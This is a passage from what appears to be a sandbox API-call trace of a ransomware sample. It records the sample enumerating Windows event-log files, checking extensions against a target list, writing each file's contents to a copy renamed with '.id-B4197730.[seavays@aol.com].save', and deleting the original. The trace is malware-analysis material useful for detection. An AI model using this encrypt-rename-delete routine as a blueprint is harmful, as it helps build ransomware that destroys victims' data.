lpString2=".evtx") returned 1 [0059.139] lstrlenW (lpString=".ppt") returned 4 [0059.139] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0059.139] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0059.139] lstrlenW (lpString=".zip") returned 4 [0059.139] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0059.139] lstrlenW (lpString=".rar") returned 4 [0059.139] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0059.139] lstrlenW (lpString=".bz2") returned 4 [0059.139] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0059.139] lstrlenW (lpString=".7z") returned 3 [0059.139] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0059.139] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0059.139] lstrlenW (lpString=".dbf") returned 4 [0059.139] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0059.139] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0059.139] lstrlenW (lpString=".1cd") returned 4 [0059.139] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0059.139] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0059.139] lstrlenW (lpString=".jpg") returned 4 [0059.139] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0059.139] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0059.139] lstrlenW (lpString="Key Management Service.evtx") returned 27 [0059.139] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0059.140] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=69632) returned 1 [0059.140] CloseHandle (hObject=0x2fc) returned 1 [0059.140] GetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 0x20 [0059.140] GetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\key management service.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0059.140] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0059.140] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.140] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.140] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\key management service.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0059.140] GetLastError () returned 0x0 [0059.140] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x11000, lpOverlapped=0x0) returned 1 [0059.864] WriteFile (in: hFile=0x2f4, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x11010, lpOverlapped=0x0) returned 1 [0059.866] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0059.868] WriteFile (in: hFile=0x2f4, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x10a, lpOverlapped=0x0) returned 1 [0059.868] SetEndOfFile (hFile=0x2f4) returned 1 [0059.868] CloseHandle (hObject=0x2f4) returned 1 [0059.870] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.871] SetEndOfFile (hFile=0x2fc) returned 1 [0059.872] CloseHandle (hObject=0x2fc) returned 1 [0059.872] SetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0059.872] DeleteFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 1 [0059.872] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0059.872] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0059.872] lstrlenW (lpString=".doc") returned 4 [0059.872] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0059.872] lstrlenW (lpString=".docx") returned 5 [0059.872] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0059.872] lstrlenW (lpString=".pdf") returned 4 [0059.872] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0059.873] lstrlenW (lpString=".xls") returned 4 [0059.873] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0059.873] lstrlenW (lpString=".xlsx") returned 5 [0059.873] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0059.873] lstrlenW (lpString=".ppt") returned 4 [0059.873] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0059.873] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0059.873] lstrlenW (lpString=".zip") returned 4 [0059.873] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0059.873] lstrlenW (lpString=".rar") returned 4 [0059.873] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0059.873] lstrlenW (lpString=".bz2") returned 4 [0059.873] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0059.873] lstrlenW (lpString=".7z") returned 3 [0059.873] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0059.873] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0059.873] lstrlenW (lpString=".dbf") returned 4 [0059.873] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0059.873] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0059.873] lstrlenW (lpString=".1cd") returned 4 [0059.873] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0059.873] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0059.873] lstrlenW (lpString=".jpg") returned 4 [0059.873] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0059.873] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0059.873] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0059.873] lstrlenW (lpString=".doc") returned 4 [0059.873] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0059.873] lstrlenW (lpString=".docx") returned 5 [0059.873] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0059.873] lstrlenW (lpString=".pdf") returned 4 [0059.873] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0059.873] lstrlenW (lpString=".xls") returned 4 [0059.874] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0059.874] lstrlenW (lpString=".xlsx") returned 5 [0059.874] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0059.874] lstrlenW (lpString=".ppt") returned 4 [0059.874] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0059.874] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0059.874] lstrlenW (lpString=".zip") returned 4 [0059.874] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0059.874] lstrlenW (lpString=".rar") returned 4 [0059.874] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0059.874] lstrlenW (lpString=".bz2") returned 4 [0059.874] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0059.874] lstrlenW (lpString=".7z") returned 3 [0059.874] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0059.874] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0059.874] lstrlenW (lpString=".dbf") returned 4 [0059.874] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0059.874] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0059.874] lstrlenW (lpString=".1cd") returned 4 [0059.874] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0059.874] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0059.874] lstrlenW (lpString=".jpg") returned 4 [0059.874] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0059.874] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0059.874] lstrlenW (lpString="Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 45 [0059.874] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0059.875] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=69632) returned 1 [0059.875] CloseHandle (hObject=0x2fc) returned 1 [0059.875] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 0x20 [0059.875] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0059.875] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0059.875] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.875] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.875] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0059.875] GetLastError () returned 0x0 [0059.875] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x11000, lpOverlapped=0x0) returned 1 [0059.878] WriteFile (in: hFile=0x2f4, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x11010, lpOverlapped=0x0) returned 1 [0059.880] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0059.880] WriteFile (in: hFile=0x2f4, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x12e, lpOverlapped=0x0) returned 1 [0059.880] SetEndOfFile (hFile=0x2f4) returned 1 [0059.881] CloseHandle (hObject=0x2f4) returned 1 [0059.883] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.883] SetEndOfFile (hFile=0x2fc) returned 1 [0059.884] CloseHandle (hObject=0x2fc) returned 1 [0059.884] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0059.884] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 1 [0059.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0059.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0059.885] lstrlenW (lpString=".doc") returned 4 [0059.885] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0059.885] lstrlenW (lpString=".docx") returned 5 [0059.885] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0059.885] lstrlenW (lpString=".pdf") returned 4 [0059.885] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0059.885] lstrlenW (lpString=".xls") returned 4 [0059.885] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0059.885] lstrlenW (lpString=".xlsx") returned 5 [0059.885] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0059.885] lstrlenW (lpString=".ppt") returned 4 [0059.885] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0059.885] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0059.885] lstrlenW (lpString=".zip") returned 4 [0059.885] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0059.885] lstrlenW (lpString=".rar") returned 4 [0059.885] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0059.885] lstrlenW (lpString=".bz2") returned 4 [0059.885] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0059.885] lstrlenW (lpString=".7z") returned 3 [0059.885] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0059.885] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0059.885] lstrlenW (lpString=".dbf") returned 4 [0059.885] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0059.885] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0059.885] lstrlenW (lpString=".1cd") returned 4 [0059.885] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0059.885] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0059.885] lstrlenW (lpString=".jpg") returned 4 [0059.885] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0059.885] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0059.885] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0059.885] lstrlenW (lpString=".doc") returned 4 [0059.886] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0059.886] lstrlenW (lpString=".docx") returned 5 [0059.886] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0059.886] lstrlenW (lpString=".pdf") returned 4 [0059.886] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0059.886] lstrlenW (lpString=".xls") returned 4 [0059.886] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0059.886] lstrlenW (lpString=".xlsx") returned 5 [0059.886] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0059.886] lstrlenW (lpString=".ppt") returned 4 [0059.886] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0059.886] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0059.886] lstrlenW (lpString=".zip") returned 4 [0059.886] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0059.886] lstrlenW (lpString=".rar") returned 4 [0059.886] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0059.886] lstrlenW (lpString=".bz2") returned 4 [0059.886] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0059.886] lstrlenW (lpString=".7z") returned 3 [0059.886] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0059.886] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0059.886] lstrlenW (lpString=".dbf") returned 4 [0059.886] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0059.886] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0059.886] lstrlenW (lpString=".1cd") returned 4 [0059.886] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0059.886] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0059.886] lstrlenW (lpString=".jpg") returned 4 [0059.886] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0059.887] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0059.887] lstrlenW (lpString="Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 48 [0059.887] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0059.887] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=69632) returned 1 [0059.887] CloseHandle (hObject=0x2fc) returned 1 [0059.887] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 0x20 [0059.887] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0059.887] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0059.887] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.887] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.887] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0059.888] GetLastError () returned 0x0 [0059.888] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x11000, lpOverlapped=0x0) returned 1 [0059.891] WriteFile (in: hFile=0x2f4, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x11010, lpOverlapped=0x0) returned 1 [0059.893] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0059.893] WriteFile (in: hFile=0x2f4, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x134, lpOverlapped=0x0) returned 1 [0059.893] SetEndOfFile (hFile=0x2f4) returned 1 [0059.893] CloseHandle (hObject=0x2f4) returned 1 [0059.896] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.896] SetEndOfFile (hFile=0x2fc) returned 1 [0059.901] CloseHandle (hObject=0x2fc) returned 1 [0059.901] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0059.902] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 1 [0059.902] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0059.902] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0059.902] lstrlenW (lpString=".doc") returned 4 [0059.902] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0059.902] lstrlenW (lpString=".docx") returned 5 [0059.902] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0059.902] lstrlenW (lpString=".pdf") returned 4 [0059.902] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0059.902] lstrlenW (lpString=".xls") returned 4 [0059.902] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0059.902] lstrlenW (lpString=".xlsx") returned 5 [0059.902] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0059.902] lstrlenW (lpString=".ppt") returned 4 [0059.902] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0059.902] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0059.902] lstrlenW (lpString=".zip") returned 4 [0059.902] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0059.902] lstrlenW (lpString=".rar") returned 4 [0059.902] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0059.902] lstrlenW (lpString=".bz2") returned 4 [0059.902] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0059.902] lstrlenW (lpString=".7z") returned 3 [0059.902] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0059.902] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0059.903] lstrlenW (lpString=".dbf") returned 4 [0059.903] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0059.903] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0059.903] lstrlenW (lpString=".1cd") returned 4 [0059.903] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0059.903] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0059.903] lstrlenW (lpString=".jpg") returned 4 [0059.903] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0059.903] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0059.903] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0059.903] lstrlenW (lpString=".doc") returned 4 [0059.903] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0059.903] lstrlenW (lpString=".docx") returned 5 [0059.903] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0059.903] lstrlenW (lpString=".pdf") returned 4 [0059.903] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0059.903] lstrlenW (lpString=".xls") returned 4 [0059.903] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0059.903] lstrlenW (lpString=".xlsx") returned 5 [0059.903] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0059.903] lstrlenW (lpString=".ppt") returned 4 [0059.903] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0059.903] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0059.903] lstrlenW (lpString=".zip") returned 4 [0059.903] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0059.903] lstrlenW (lpString=".rar") returned 4 [0059.903] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0059.903] lstrlenW (lpString=".bz2") returned 4 [0059.903] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0059.903] lstrlenW (lpString=".7z") returned 3 [0059.903] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0059.903] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0059.904] lstrlenW (lpString=".dbf") returned 4 [0059.904] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0059.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0059.904] lstrlenW (lpString=".1cd") returned 4 [0059.904] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0059.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0059.904] lstrlenW (lpString=".jpg") returned 4 [0059.904] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0059.904] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0059.904] lstrlenW (lpString="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 57 [0059.904] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0059.904] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=69632) returned 1 [0059.904] CloseHandle (hObject=0x2fc) returned 1 [0059.904] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 0x20 [0059.904] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0059.904] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged 